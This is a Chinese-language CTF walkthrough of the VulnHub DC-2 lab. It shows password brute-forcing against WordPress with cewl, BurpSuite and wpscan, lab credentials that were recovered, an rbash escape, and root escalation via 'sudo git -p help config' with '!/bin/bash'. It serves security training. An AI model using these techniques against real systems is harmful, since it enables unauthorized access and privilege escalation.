VulnHub DC-2

DC-2

flag1

1.扫描靶机IP

image-20231212192347339

不能跟随重定向至http://dc-2/,意思就是没有做域名解析

image-20231230145437183

2.配置hosts文件,设置本地dns解析

image-20231212192449141

image-20231212192440490

image-20231212192555194

image-20231212192601673

Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.

#你通常的单词表可能不起作用,所以,也许你只需要保持冷静(cewl)。
#密码越多越好,但有时你无法赢得所有密码。
#以一个身份登录以查看下一个标志。
#如果找不到,请以其他身份登录。

关键步骤:
1./etc/hosts #本地域名解析文件

flag2

爬取密码字典

渗透测试工具Cewl使用方法及详细指南 - 🔰雨苁ℒ🔰 (ddosi.org)

cewl(网站内容爬取)

#用法:cewl[OPTIONS]<url>

选项:
-h、 --help:显示帮助。
-k、 --keep:保留下载的文件。
-d<x>,--depth<x>:蜘蛛到的深度,默认为2。
-m、 --min_word_length:最小字长,默认为3。
-x、 --max_word_length:最大字长,默认不设置。
-o、 --异地:让蜘蛛访问其他站点。
--exclude:包含要排除的路径列表的文件
--allowed:路径必须匹配才能遵循的正则表达式模式
-w、 --write:将输出写入文件。
-u、 --ua<agent>:要发送的用户代理。
-n、 --无单词:不输出单词列表。
-g<x>,--groups<x>:还返回单词组
--小写:所有已分析单词的小写
--带数字:接受带数字的单词,也可以只接受字母
--转换元音变音符:转换通用ISO-8859-1(Latin-1)元音变音符(ä-ae,ö-oe,ü-ue,ß-ss)
-a、 --meta:包括元数据。
--meta_file文件:元数据的输出文件。 
-e、 --电子邮件:包括电子邮件地址。
--email_file<file>:电子邮件地址的输出文件。
--meta-temp-dir<dir>:exiftool在解析文件时使用的临时目录,默认/tmp。
-c、 --count:显示找到的每个单词的计数。
-v、 --verbose:详细。
--debug:额外的调试信息。

身份验证
--auth_type:摘要或基本。
--auth_user:身份验证用户名。
--auth_pass:身份验证密码。

代理支持
--proxy_host:代理主机。
--proxy_port:代理端口,默认为8080。
--proxy_username:如果需要,代理的用户名。
--proxy_password:如果需要,代理的密码。

页眉
--标头,-H:格式为名称:值-可以传递多个。

利用cewl爬取网站内容,成功获取到密码字典

image-20231212193210796

发现目标网站CMS为WordPress版本为4.7.10

image-20231212193510962

成功扫描出WordPress后台地址

image-20231212194027447

image-20231212194012798

爆破方法一(BurpSuite):

image-20231212194041466

登陆提示:

image-20231212194606005

image-20231212194642821

image-20231212194841753

image-20231212195329504

image-20231212195926139

image-20231212200010567

image-20231212200048172

image-20231213091159890

爆破方法二(wpscan):
wpscan --url http://dc-2 -e u  

image-20231230150804186

用户名爆破成功

image-20231230150857008

设置用户名字典

image-20231212200048172

通过用户名密码字典爆破网页,成功爆破出jerry与tom

wpscan --url http://dc-2/ --passwords passwd.txt --usernames user.txt 

image-20231230151134108

Username: jerry Password: adipiscing
Username: tom   Password: parturient

成功登录页面

image-20231213091515887

image-20231213091536207

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

如果你不能利用WordPress并采取快捷方式,还有另一种方法。
希望你能找到另一个切入点。 

关键步骤:
1.cewl爬虫爬取网站内容为用户名字典
2.BurpSuite爆破灵活使用
3.wpscan专项爆破WordPress的CMS

flag3

扫描全端口还有一个7744端口开放着,还是ssh服务. 使用 tom 账户登录ssh服务

image-20231213091802117

发现了flag3,但是cat无法使用,vi可以

image-20231213091912247

image-20231213091838455

flag3:
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老tom总是追着jerry跑。
也许他应该弥补(su)他造成的所有压力。
#提示切换到用户jerry

关键步骤:
1.ssh远程登录,端口变换为7744

flag4

image-20231230152159893

详细讲解rbash绕过: https://www.freebuf.com/articles/system/188989.html

#解除bash限制
把/bin/bash给a变量
BASH_CMDS[a]=/bin/sh;a  
将/bin 作为PATH环境变量导出
export PATH=$PATH:/bin/
将/usr/bin作为PATH环境变量导出
export PATH=$PATH:/usr/bin  

image-20231213093254687

切换到jerry

image-20231213094452102

image-20231213094500572

flag4
Good to see that you've made it this far - but you're not home yet.                              
You still need to get the final flag (the only flag that really counts!!!).                    
No hints here - you're on your own now.  :-)                               
Go on - git outta here!!!!  

很高兴看到你已经走了这么远,但你还没有回家(home)。
你仍然需要获得最终的标志(唯一真正重要的标志!!)。
这里没有提示-你现在只能靠自己了。:-)
继续——(git)滚出去!!!!

关键步骤:
1.rbash逃逸

flag5

sudo git 提权

使用 git 命令,查看git帮助文档:

sudo git -p help config

执行完config后,在页面里输入:!/bin/bash,即可完成提权。

image-20231213095346739

image-20231213095415680

flag5:
  __    __     _ _       _                    _               
 / / /\ \ \___| | |   __| | ___  _ __   ___  / \
 \ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
  \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
   \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   

Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.

祝贺!!!
特别感谢所有给我发推特的人
并为我提供了反馈——这一切都很好
非常感谢。
如果你喜欢这个CTF,请通过@DCAU7给我发一条推特。 

关键步骤:
1.sudo git提权
  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值